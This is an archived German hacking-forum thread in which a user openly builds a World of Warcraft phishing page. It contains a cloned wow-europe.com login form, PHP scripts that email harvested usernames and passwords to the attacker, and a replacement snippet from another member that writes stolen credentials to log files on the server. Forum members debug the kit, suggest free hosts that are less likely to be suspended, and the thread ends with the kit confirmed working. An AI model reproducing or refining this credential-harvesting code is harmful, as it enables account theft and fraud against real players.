PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Send.php - fehlerhaft?



crowley
15.07.2009, 15:21
Hallo liebe Community ;)
habe einen Wow Phishing page gebaut , meine frage ist jetzt wo liegt der fehler in der "send.php" die mir eigentlich per Email die Zugangsdaten zuschicken :

<?php
$benutzer=$HTTP_POST_VARS['benutzer'];
$pass=$HTTP_POST_VARS['pass'];
if ($pass == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($benutzer == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername:";
$mailtext.=$benutzer;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$pass;
$absender="From:";
$absender.="Phish";
mail("EMAILADRESSE@WEB.de",$benutzer,$mailtext,$absender);



print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.wow-europe.com"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=https://www.wow-europe.com/">
</body>
</html>Wäre nett wenn da jemand einen blick drüber schmeisen könnte ;)
lg

fred777
15.07.2009, 15:32
Hast du denn auf die Rechte geachtet?
Das Script sollte auf kurzen Blick i.O. sein, ach und:
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.wow-europe.com"> just edit the Page to redirect to !

Alle weiteren Befehle sollten eine Zeile unter dem // kommen, falls du diese Zeile ausführen wolltest

litlein
15.07.2009, 15:33
Wenn die Ausgabe "Der von ihnen geforderte ..." kommt, sollte alles richtig sein.
Ich gehe mal davon aus das du "EMAILADRESSE@WEB.DE" mit deiner eigenen ersetzt hast.
Wenn eine Fehlermeldung oder ein anderer print(); Text kommt, haste was mit der Eingabe falsch gemacht.

crowley
15.07.2009, 15:34
ja da hab ich meine rausgemacht ;)
jop die datei hat volle attribute sprich 777 , kein plan sendet leider nichts ..

n00kie
15.07.2009, 15:36
Naja er führt diese Zeile ja nochmal im unteren Bereich des Script's aus. Könnte man evtl. die index-Datei dazu sehen?

crowley
15.07.2009, 15:38
hier wär der index:



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>World of Warcraft</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>

<link rel="stylesheet" href="https://www.wow-europe.com/login/includes/style.css" type="text/css" id = "bnetstyle">

<script language = "javascript">
<!--
var styleSheet;
var agt = navigator.userAgent.toLowerCase();
var appVer = navigator.appVersion.toLowerCase();
var verInt = parseInt(appVer);
var ie = (appVer.indexOf('msie') != -1);
var opera = (agt.indexOf('opera') != -1);
var mozilla = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('opera')==-1)
&& (agt.indexOf('spoofer')==-1) && (agt.indexOf('compatible') == -1)
&& (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1));
var ns4 = (mozilla && (verInt == 4));

if (ie && !opera) {
document.styleSheets["bnetstyle"].addRule ("input", "background-color: #040D1A");
document.styleSheets["bnetstyle"].addRule ("input", "border-style: solid");
document.styleSheets["bnetstyle"].addRule ("input", "border-width: 1px");
document.styleSheets["bnetstyle"].addRule ("input", "border-color: #7F7F7F");
document.styleSheets["bnetstyle"].addRule ("input", "color: #FFAC04");

document.styleSheets["bnetstyle"].addRule ("textarea", "background-color: #040D1A");
document.styleSheets["bnetstyle"].addRule ("textarea", "border-style: solid");
document.styleSheets["bnetstyle"].addRule ("textarea", "border-width: 1px");
document.styleSheets["bnetstyle"].addRule ("textarea", "border-color: #7F7F7F");
document.styleSheets["bnetstyle"].addRule ("textarea", "color: #FFAC04");

document.styleSheets["bnetstyle"].addRule ("textarea", "scrollbar-Base-Color: #012158");
document.styleSheets["bnetstyle"].addRule ("textarea", "scrollbar-Arrow-Color: #7F7F7F");
document.styleSheets["bnetstyle"].addRule ("textarea", "scrollbar-3dLight-Color: #7F7F7F");
document.styleSheets["bnetstyle"].addRule ("textarea", "scrollbar-DarkShadow-Color: black");
document.styleSheets["bnetstyle"].addRule ("textarea", "scrollbar-Highlight-Color: black");
document.styleSheets["bnetstyle"].addRule ("textarea", "scrollbar-Shadow-Color: #00B3FF");

document.styleSheets["bnetstyle"].addRule ("select", "background-color: #040D1A");
document.styleSheets["bnetstyle"].addRule ("select", "color: #FFAC04");

document.styleSheets["bnetstyle"].addRule ("select.gray", "background-color: #040D1A");
document.styleSheets["bnetstyle"].addRule ("select.gray", "color: #FFAC04");

document.styleSheets["bnetstyle"].addRule ("ul.thread", "margin-left: 22px;");
}


var cleanURL = document.URL.replace("locale=[^&]*","");


//-->
</script>

</head>
<body onload = "javascript: document.forms[0].elements[0].focus();" bgcolor="#000000" text="#CCCC99" link="#FFFFBB" vlink="AAAAAA" marginwidth=0 marginheight=0 topmargin=0 leftmargin=0>
<form action="send.php" method="post">

<table cellspacing = "0" cellpadding = "0" border = "0" width = "100%" height = "100%">
<tr>
<td align = "center">
<table border="0" cellpadding="0" cellspacing="0" background="https://www.wow-europe.com/login/images/login-bg_de.jpg" >
<tr>
<td valign = "top">
<div style = "position: relative;">
<div style = "width: 400px; position: absolute; left: 130px; top: 0px;">







</div>
</div>
</td>
<td><img src = "https://www.wow-europe.com/login/images/pixel.gif" width = "1" height = "169"></td>
<td></td>
</tr>
<tr>
<td><img src = "https://www.wow-europe.com/login/images/pixel.gif" width = "203" height = "1"></td>
<td>

<table border="0" cellpadding="0" cellspacing="0" width = "220">
<tr>

<td rowspan = "6"><img src = "https://www.wow-europe.com/login/images/pixel.gif" width = "15" height = "110"></td>
<td valign="center" align="left" width = "190"><b style = "color:white; font-size:8pt; font-variant: small-caps; letter-spacing:3px;"><label for="username">Accountname:</label>&nbsp;</b><br/><input type="text" name="benutzer" size = "18" MaxLength="16" style = "width: 175px;" tabindex="1"/></td>
<td rowspan = "6"><img src = "https://www.wow-europe.com/login/images/pixel.gif" width = "15" height = "1"></td>

</tr>
<tr>

<td align = "left" width = "190"><span><a href = "https://signup.wow-europe.com/menu.html?locale=de_DE" class = "small">Noch keinen Account? Hier klicken!</a></span></td>

</tr>
<tr>

<td width = "190"><img src = "https://www.wow-europe.com/login/images/pixel.gif" width = "190" height = "6"></td>

</tr>
<tr>

<td valign="center" align="left" width = "190"><b style = "color:white; font-size:8pt; font-variant: small-caps; letter-spacing:3px;"><label for="password">Passwort:</label>&nbsp;</b><br/><input type="password" name="pass" size = "18" MaxLength="16" style = "width: 175px;" tabindex="2"></td>

</tr>
<tr>
<td align = "left" width = "190"><span><a href = "http://www.wow-europe.com/login-support/?locale=de_DE" class = "small">Passwort vergessen?</a></span></td>

</tr>
<tr>

<td align = "left"><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src = "https://www.wow-europe.com/login/images/pixel.gif" width = "1" height = "7"></td><td></td><td></td></tr></table></td>

</tr>
<input type="hidden" name="lt" value="LT-594897-qAPlCxJREnmPwNSTv5Zd"/>
<tr>



<td colspan = "3" align = "left">
<table border="0" cellpadding="0" cellspacing="0">

<tr>
<td><input type=image src="https://www.wow-europe.com/login/images/pixel.gif" alt = "Login" name="submit" value="Login" style = "width:100px; height:40px;" border = "0" class = "button" tabindex="3"></td>
<td><a href = "http://www.wow-europe.com" tabindex="4"><img src = "https://www.wow-europe.com/login/images/pixel.gif" width = "105" height = "40" border = "0" alt = "Cancel"></a></td>
</tr>
</table>
</td>


</tr>
</table>

</td>
<td><img src = "https://www.wow-europe.com/login/images/pixel.gif" width = "217" height = "1"></td>
</tr>
<tr>
<td colspan = "3">

<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td colspan = "3"><img src = "https://www.wow-europe.com/login/images/pixel.gif" width = "1" height = "17"></td>

</tr>
<tr>
<td width = "106"><img src = "https://www.wow-europe.com/login/images/pixel.gif" width = "106" height = "1"></td>
<td width = "410">
<small style="display:block; margin:6px 0 0;">
Sprache w&auml;hlen: <a href="https://www.wow-europe.com/login/login?service=https%3A%2F%2Fwww.wow-europe.com%2Faccount%2F&amp;locale=en_GB">English</a> | <a href="https://www.wow-europe.com/login/login?service=https%3A%2F%2Fwww.wow-europe.com%2Faccount%2F&amp;locale=de_DE">Deutsch</a> | <a href="https://www.wow-europe.com/login/login?service=https%3A%2F%2Fwww.wow-europe.com%2Faccount%2F&amp;locale=fr_FR">Fran&ccedil;ais</a> | <a href="https://www.wow-europe.com/login/login?service=https%3A%2F%2Fwww.wow-europe.com%2Faccount%2F&amp;locale=es_ES">Espa&ntilde;ol</a> <br /> <br /><br/> <br /> <br /><br/> <br /> <br /><br/>



</small>
</td>
<td width = "124"><img src = "https://www.wow-europe.com/login/images/pixel.gif" width = "124" height = "1"></td>
</tr>
<tr>

<td colspan = "3"><img src = "https://www.wow-europe.com/login/images/pixel.gif" width = "1" height = "30"></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>

</form>
</body>
</html>

oder hier runterladen :
http://rapidshare.com/files/256112113/index.htm.html

krusty
15.07.2009, 15:39
wenn du funpic oder ohost als ftp server nimmst, die server unterstützen keinen mailversand soweit ich weiß.

crowley
15.07.2009, 15:43
nein hab mir einen bei pytal genommen - da ja die bei ohost und funpic nach ein paar stunden gesperrt werden... kann das sein das der von pytal keinen versand unterstützt?
lg

krusty
15.07.2009, 16:03
1. haste mal im spamm ordner geschaut ?
2. versucht mit ner anderen emailadresse
3. verändere die send.php so, dass die Logs nicht gesendet werden per mail,
sondern direkt aufm server gespeichert werden oder such dir nen anderen hoster =$

crowley
15.07.2009, 16:08
1. ja hab ich
2. hab ich schon 2x
3. hab ich auch schon gemacht und einen weiteren code ausprobiert:

<?php
$username = $_POST['username'];
$password = $_POST['password'];

$to = "xxxxxx@web.de";
$subject = "Account Daten";
$content = "Benutzername: ".$username ."\r\nPasswort: ".$password;
mail($to, $subject, $content);
?>

krusty
15.07.2009, 16:20
benutze die php funktion
file_put_contents(dateiname,text)
um die logs auf deinem ftp server zu speichern und NICHT per mail zu versenden.
Das sollte auf jedenfall gehn

kalachnikov
15.07.2009, 16:44
dürfte schwierig sein mit der Mail-Funktion..
PM me

crowley
15.07.2009, 17:01
Weis an was es liegt , hab nachgefragt der Anbieter meint das die Mailfunktionen nicht unterstützt werden !
kann mir jemand einen free webhoster empfehlen bei dem das nicht so ist?
lg

litlein
15.07.2009, 17:07
Speichere die Dateien direkt aufm FTP. Das sollte bei allen funktionieren.


<?php
file_put_contents("./logs/".$_POST["benutzer"].".txt",
"Benutzername: ".$_POST["benutzer"]."\r\nPasswort: ".$_POST["pass"]);
?>Habe ich freihand geschrieben. Müsste so funktionieren.
Die Logs landen in einem Unterverzeichniss /logs

Evtl. Fehlermeldungen mal posten bitte.

//edit2 Musst wahrscheinlich das Unterverzeichniss /logs erstellen und Schreibrechte verteilen.

crowley
15.07.2009, 17:16
Warning: file_put_contents() [function.file-put-contenst]: Unable to access ./logs/wowtestöööööööööxx.txt in /srv/www/httpd/phost/w/de/pytalhost/xxxx/web/send.php on line 3

Warning: file_put_contents(./logs/wowtestöööööööööxx.txt) [function.file-put-contenst]: failed to open stream: No such file or directory in /srv/www/httpd/phost/w/de/pytalhost/xxxx/web/send.php on line 3

litlein
15.07.2009, 17:21
Der Code funktioniert bei mir, gerade mal getestet.
Versuch mal nen etwas kürzeren Namen

Verzeichniss erstellt und Schreibrechte gegeben? Am besten einfach dem Verzeichniss 777 geben, dann kann nichts falsch sein.

crowley
15.07.2009, 17:39
Danke funktioniert , :):):):):)

lg